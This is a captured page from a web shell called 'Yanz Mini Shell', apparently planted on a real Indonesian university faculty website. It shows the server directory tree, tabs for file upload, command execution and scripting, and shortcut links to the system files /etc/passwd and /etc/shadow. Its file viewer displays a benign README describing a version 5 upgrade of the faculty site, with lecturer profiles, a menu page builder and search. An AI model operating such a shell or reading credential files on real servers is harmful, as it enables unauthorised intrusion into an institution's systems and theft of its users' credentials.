Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
# UPGRADE v5 โ Fakultas Sains UNCP Iterasi kelima website Fakultas Sains UNCP. **Wajib dijalankan setelah v2, v3, dan v4.** --- ## ๐ Cara Deploy ### 1. Backup database & file lama ```bash mysqldump -u root fsains_uncp > backup_sebelum_v5.sql # Backup folder fakultas_sains/ ``` ### 2. Extract `fakultas_sains_v5.zip` ke `C:/xampp/htdocs/fakultas_sains/` (timpa file lama) ### 3. Jalankan upgrade database Buka **phpMyAdmin** โ pilih DB `fsains_uncp` โ tab **SQL** โ paste isi `database_upgrade_v5.sql` โ klik **Go**. > โ Akan ditambahkan: tabel `dosen`, `dosen_pendidikan`, `berita_dosen`, kolom `link_type` & `page_id` di `menus`, kolom `icon` di `quick_services` (kalau belum ada), menu Dosen di navbar, 3 dosen contoh. ### 4. Pastikan folder upload writable ```bash # Linux/Mac chmod 755 upload/dosen/ upload/cv/ # XAMPP Windows: biasanya sudah writable ``` Kalau folder belum ada, akan otomatis dibuat saat upload pertama. --- ## ๐ Bug yang Diperbaiki di v5 | # | Bug | Lokasi | Fix | |---|-----|--------|-----| | 1 | Icon picker tidak ada di "Kelola Informasi Akademik" | `admin/add-quick.php`, `admin/edit-quick.php` | Pasang `iconPickerWidget()`, otomatis sort_order MAX+1 | | 2 | Submenu tidak bisa diedit | `admin/menus.php` (hanya tampilkan `parent_id IS NULL`) | Rewrite untuk tampilkan parent + sub nested dengan icon tipe | | 3 | `bind_param("sssi")` untuk 5 variabel di update card | `admin/edit-quick.php` | Diperbaiki jadi `"sssii"` | | 4 | Menu baru tidak otomatis buat halaman | `admin/add-menu.php` (URL manual) | Page builder dengan 4 tipe (lihat di bawah) | --- ## โจ Fitur Baru di v5 ### 1. ๐ Page Builder untuk Menu Saat tambah/edit menu navbar, Anda sekarang bisa pilih **4 tipe tujuan**: - **๐ช Buat Halaman Baru** โ tulis judul + isi langsung di sini, otomatis tersimpan di tabel `pages` dan menu link ke `pages/page.php?slug=xxx`. Tidak perlu coding! - **๐ Halaman yang Sudah Ada** โ pilih dari dropdown halaman yang sudah dibuat - **๐ URL Eksternal** โ link ke website lain (https://...) - **๐ง Modul Sistem** โ built-in seperti Berita, Dosen, Prodi, Kontak ### 2. ๐จโ๐ซ Biodata Dosen (model DIKE UGM) Modul lengkap dengan: **Tabel dosen** menyimpan: - Foto profil (otomatis di-crop kotak 600ร600) - Nama lengkap dengan gelar depan & belakang - NIP / NIKA / NIDN, email - Jabatan fungsional (Asisten Ahli / Lektor / Lektor Kepala / Guru Besar / Tenaga Pengajar) - Jabatan struktural (Dekan / Kaprodi / dll) - Program studi, Laboratorium (FK) - Gugus riset, minat penelitian, bio - 6 link publikasi: Google Scholar, Scopus, SINTA, ORCID, PDDikti, ResearchGate - Upload CV PDF (link "Unduh CV" di halaman publik) **Tabel dosen_pendidikan** (1-to-many): - Jenjang (S1/S2/S3/Profesi/Diploma/Spesialis) - Departemen, universitas, negara, tahun mulai-selesai - Judul thesis/disertasi (opsional) **Halaman admin:** - `admin/dosen.php` โ listing dengan search (nama/NIP/email) + filter prodi - `admin/dosen-edit.php` โ form dengan 6 section (Identitas, Jabatan, Riset, Pendidikan, Publikasi, Pengaturan), pendidikan dapat dinamis tambah/hapus baris **Halaman publik:** - `pages/daftar-dosen.php` โ grid responsive dengan search + filter prodi - `pages/dosen.php?slug=xxx` โ detail dengan style mirip UGM: - Foto bulat besar, tabel info NIP/Email/Jabatan - Section Riset (gugus + lab + minat) - Tabel pendidikan rapi - 6 tombol publikasi berwarna (Scholar biru, Scopus oranye, SINTA kuning, ORCID hijau, PDDikti biru tua, ResearchGate teal) - Tombol "Unduh CV" merah - **Artikel terkait** (auto-tag berita yang mention nama dosen + tag manual) - Daftar navigasi dosen lainnya - **Schema.org JSON-LD `Person` markup** โ rich snippet di Google ### 3. ๐ท๏ธ Tag Dosen ke Berita Saat tambah/edit berita di `admin/add.php` & `admin/edit.php`, ada checkbox multi-select dosen. Berita yang ditag akan otomatis muncul di section "Artikel" pada halaman profil dosen. ### 4. ๐ Statistik Widget Homepage Box angka real-time dari DB tampil di antara Quick Info dan Headline Berita: - ๐งโ๐ผ Jumlah dosen aktif - ๐ Jumlah mahasiswa (set manual di Pengaturan Web โ Statistik Beranda; 0 = sembunyikan) - ๐ Jumlah program studi - ๐งช Jumlah laboratorium aktif Animasi counter (angka naik dari 0) saat scroll ke widget. ### 5. ๐ Pencarian Global Tombol search bulat di pojok kanan navbar โ buka overlay full-screen. - Shortcut keyboard: **Ctrl/Cmd + K** untuk buka, **Esc** untuk tutup - Hasil dikelompokkan: Dosen, Berita, Halaman - Min. 2 karakter ### 6. ๐ผ๏ธ Image Auto-Resize untuk Foto Dosen Foto dosen yang diupload otomatis: - Di-crop kotak dari tengah (untuk konsistensi grid) - Di-resize ke 600ร600 px - Format JPG/PNG/WebP dengan kompresi 85% - Maks 8MB CV PDF otomatis di-validasi: - Real MIME type check (bukan dari ekstensi/nama file) - Maks 10MB - Hanya `application/pdf` real --- ## ๐ File Baru di v5 **Database:** - `database_upgrade_v5.sql` โ schema migration **Admin (super admin only):** - `admin/dosen.php` โ listing dosen - `admin/dosen-edit.php` โ form add/edit dosen (kombinasi insert + update) - `admin/dosen-delete.php` โ handler hapus **Public:** - `pages/daftar-dosen.php` โ public listing - `pages/dosen.php?slug=xxx` โ public detail (Schema.org) - `pages/search.php` โ global search **Upload folder:** - `upload/dosen/` โ foto dosen (.htaccess deny PHP) - `upload/cv/` โ CV PDF (.htaccess deny PHP) ## ๐ File Dimodifikasi di v5 - `admin/add-quick.php` โ pakai icon picker + ob_start pattern + auto sort_order - `admin/edit-quick.php` โ pakai icon picker + fix bind_param `"sssii"` - `admin/menus.php` โ tampilkan parent + submenu nested dengan icon tipe - `admin/edit-menu.php` โ full page builder (3 tipe link) - `admin/add-menu.php` โ full page builder (4 tipe link termasuk "Buat Halaman Baru") - `admin/add.php` & `admin/edit.php` โ multi-select tag dosen ke berita - `admin/settings.php` โ group "Statistik Beranda" untuk `stat_mahasiswa` - `admin/includes/admin_layout.php` โ entry sidebar untuk Biodata Dosen - `includes/image_helper.php` โ tambah `uploadFotoSquare()` & `uploadPDF()` - `includes/header.php` โ tombol search + overlay full-screen + Ctrl+K shortcut - `pages/home.php` โ statistik widget animated counter --- ## ๐ฏ Cara Pakai Setelah Deploy ### Tambah dosen pertama 1. Login super admin 2. Sidebar โ **Biodata Dosen** 3. Klik **Tambah Dosen Baru** 4. Isi form 6 section (foto auto-crop, pendidikan bisa tambah baris) 5. Save โ muncul di halaman publik `pages/daftar-dosen.php` ### Buat menu baru dengan halaman baru sekaligus 1. Sidebar โ **Kelola Menu Nav** 2. **Tambah Menu Baru** 3. Pilih tipe **๐ช Buat Halaman Baru** 4. Tulis nama menu, judul halaman, isi pakai TinyMCE 5. Save โ menu + halaman dibuat bersamaan, URL `pages/page.php?slug=xxx` ### Tag dosen ke berita 1. Sidebar โ **Kelola Berita** โ tambah/edit 2. Scroll ke bawah, section **Tag Dosen Terkait** 3. Centang nama dosen (multi-select) 4. Save โ berita otomatis muncul di profil dosen tsb ### Set jumlah mahasiswa untuk widget statistik 1. Sidebar โ **Pengaturan Web** 2. Section **Statistik Beranda** โ isi `stat_mahasiswa` (angka) 3. Save โ tampil di homepage; isi 0 untuk sembunyikan card mahasiswa --- ## โ ๏ธ Catatan Penting 1. **Data dummy dosen** โ 3 dosen contoh akan ditambah saat run SQL. Hapus/edit sesuai kebutuhan. 2. **Folder upload** โ kalau permission error saat upload foto/CV, set folder writable: `chmod 755 upload/dosen upload/cv` (atau via FileZilla Properties โ Permissions = 755). 3. **Menu Dosen** โ otomatis ditambah ke navbar saat SQL dijalankan (sebagai menu utama). Edit posisi/parent via Kelola Menu Nav. 4. **Backward compatibility** โ semua fitur lama (v2-v4) tetap berfungsi normal. Database migration aman (pakai `ADD COLUMN IF NOT EXISTS` pattern dengan `INFORMATION_SCHEMA` check). --- ## ๐ฎ Roadmap Saran untuk v6+ Berdasarkan opini profesional, fitur yang bisa ditambah berikutnya (jika diinginkan): 1. **Generate PDF biodata** dosen (tombol "Cetak Biodata" โ PDF formal dari profil) 2. **Form pengaduan/saran mahasiswa** (anonim/named) โ admin sebagai ticket 3. **News view tracking** + "berita populer" widget 4. **Soft delete** dengan trash recovery 30 hari 5. **2FA OTP email** untuk super admin 6. **Backup automation** via cron 7. **Newsletter** mailing list integration 8. **Accessibility audit** (a11y, ARIA, keyboard nav) Cukup minta jika ingin saya bangun salah satunya. --- **Versi:** v5.0 **Tanggal:** 2026-05-30 **Compatibility:** PHP 7.4+, MySQL 5.7+, XAMPP/LAMP/LEMP
Free Space : 55353966592 Byte